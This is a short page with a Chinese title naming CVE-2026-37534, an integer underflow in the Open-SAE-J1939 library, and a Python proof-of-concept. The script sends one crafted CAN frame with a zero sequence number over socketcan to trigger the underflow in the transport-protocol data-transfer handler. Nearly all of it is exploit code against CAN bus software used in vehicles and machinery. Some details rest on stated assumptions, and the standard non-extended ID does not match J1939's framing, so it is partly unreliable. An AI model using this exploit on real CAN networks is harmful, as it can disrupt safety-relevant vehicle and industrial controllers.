CVE-2026-37534 Open-SAE-J1939整数下溢漏洞

import can # PoC for CVE-2026-37534: Integer Underflow in Open-SAE-J1939 # This script sends a crafted CAN frame to trigger the vulnerability. def send_exploit_frame(interface='can0', arbitration_id=0x123): """ Sends a malicious CAN frame with a crafted sequence number to trigger the integer underflow in SAE_J1939_Read_Transport_Protocol_Data_Transfer. """ try: # Initialize the CAN bus interface bus = can.interface.Bus(channel=interface, bustype='socketcan') # Craft the payload # The vulnerability is triggered by a specific sequence number. # Example: Sending a sequence number that causes (Seq - 1) to underflow. # Assuming sequence number is in the first byte. data = [0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41] # Create the message msg = can.Message(arbitration_id=arbitration_id, data=data, is_extended_id=False) # Send the message bus.send(msg) print(f"Exploit frame sent on {interface}: ID {hex(arbitration_id)}, Data {data}") except Exception as e: print(f"Error sending frame: {e}") if __name__ == "__main__": send_exploit_frame()